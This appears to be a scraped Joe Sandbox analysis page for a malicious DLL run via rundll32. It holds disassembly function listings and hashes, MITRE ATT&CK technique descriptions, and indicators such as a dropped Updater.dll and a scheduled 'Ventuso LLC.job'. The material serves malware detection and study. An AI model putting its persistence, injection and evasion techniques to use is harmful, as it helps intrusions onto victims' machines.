Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Windows\system32\rundll32.exe
API String ID: 3307058713-1534550049
Opcode ID: 3feaf31e8a8aa5d59469bff8cf8e72b79ff713b6ee1cb256d45e1f3dbf8e3265
Instruction ID: 38237914500115603e5da152cf746bbb64a8109ffcda52082d6d028f722a84ff
Opcode Fuzzy Hash: 3feaf31e8a8aa5d59469bff8cf8e72b79ff713b6ee1cb256d45e1f3dbf8e3265
Instruction Fuzzy Hash: 2C41BD32A08E128AEB15DFA3A8401BC77A9EF44BE4B554079ED0E43B75DF3DE4818700

Function 00007FFE11510B18 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FFE11510B8A
GetFileType.KERNEL32 ref: 00007FFE11510BA0

Strings

@, xrefs: 00007FFE11510BCB

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: 897ff812d347322ec8280039f48a83ce4e88950e5a6bb14fa14df3a3018b8a11
Instruction ID: 4d3d1d77434b83d584980217ef4c80594ee82793ce23d64dea0745f9586a6ab3
Opcode Fuzzy Hash: 897ff812d347322ec8280039f48a83ce4e88950e5a6bb14fa14df3a3018b8a11
Instruction Fuzzy Hash: B9218122B18E4281EB618F2A949013C265AFB45778F280376D6BE067F4CE3CD8C1D341

Function 00007FFE1150AB6C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FFE1150AB9D
GetLastError.KERNEL32 ref: 00007FFE1150ABB5

Strings

Main Returned., xrefs: 00007FFE1150ABF9

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Main Returned.
API String ID: 2776309574-1078862748
Opcode ID: 77e881fd6ce4fab5a6620ff27ae76e5444be1c482fb07467e75623395cf61dea
Instruction ID: e5083233fe0470ce540cb0ce0a5130b818bcc65384d4cf0a8a5ca52f30ac2d4b
Opcode Fuzzy Hash: 77e881fd6ce4fab5a6620ff27ae76e5444be1c482fb07467e75623395cf61dea
Instruction Fuzzy Hash: 67215332A18F81C6E750DBA6E8947AA73A8FB84364F401679DA5C466B4EF3CE144CB00

Function 00007FFE1150AA54 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FFE1150AA85
GetLastError.KERNEL32 ref: 00007FFE1150AA9D

Strings

Main Invoked., xrefs: 00007FFE1150AAE1

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Main Invoked.
API String ID: 2776309574-1952101238
Opcode ID: 6b15e732082802fbb441b9506356060c202f58fa210ca7ca8373136bb8fae3af
Instruction ID: 2f681057e0a41d8b608834072e12c48b7e8af14301d53d5b60c100cecef0929b
Opcode Fuzzy Hash: 6b15e732082802fbb441b9506356060c202f58fa210ca7ca8373136bb8fae3af
Instruction Fuzzy Hash: 6A216732A18F41C6E760CBA6E8943AA73B8FF44364F500675DA5D466B4EF7CD144CB00

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Module: Module Load, Network Traffic: Network Connection Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report akdn2nefd.bin.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Ventuso LLC\Updater.dll

C:\ProgramData\Ventuso LLC\Updater.dll:Zone.Identifier

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\OAPIRH2O.htm

C:\Windows\Tasks\Ventuso LLC.job

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

Windows Analysis Report
akdn2nefd.bin.dll

Function 00007FFE11501F20 Relevance: 51.1, APIs: 27, Strings: 2, Instructions: 313
networklibraryloaderCOMMON

Function 00007FFE115074E0 Relevance: 24.3, APIs: 16, Instructions: 286
libraryloaderCOMMON

Function 00007FFE115069F0 Relevance: 16.7, APIs: 11, Instructions: 207
libraryloaderCOMMON

Function 00007FFE115050D0 Relevance: 12.2, APIs: 8, Instructions: 215
COMMON

Function 00007FFE115015B0 Relevance: 12.1, APIs: 8, Instructions: 116
libraryloaderfileCOMMON

Function 00007FFE115019C0 Relevance: 6.0, APIs: 4, Instructions: 35
libraryloaderCOMMON

Function 00007FFE11503A70 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 242
registrynetworkCOMMON

Function 00007FFE11503B48 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 204
registrynetworkCOMMON

Function 00007FFE11509800 Relevance: 16.6, APIs: 11, Instructions: 133
COMMON

Function 00007FFE11504890 Relevance: 12.2, APIs: 8, Instructions: 223
registryCOMMON

Function 00007FFE11509260 Relevance: 10.6, APIs: 7, Instructions: 81
libraryloaderCOMMON

Function 00007FFE115049D4 Relevance: 9.1, APIs: 6, Instructions: 140
registryCOMMON

Function 00007FFE11501B70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40
libraryloaderCOMMON

Function 00007FFE11505000 Relevance: 6.0, APIs: 4, Instructions: 43
synchronizationCOMMON

Function 00007FFE11509A00 Relevance: 4.6, APIs: 3, Instructions: 94
COMMON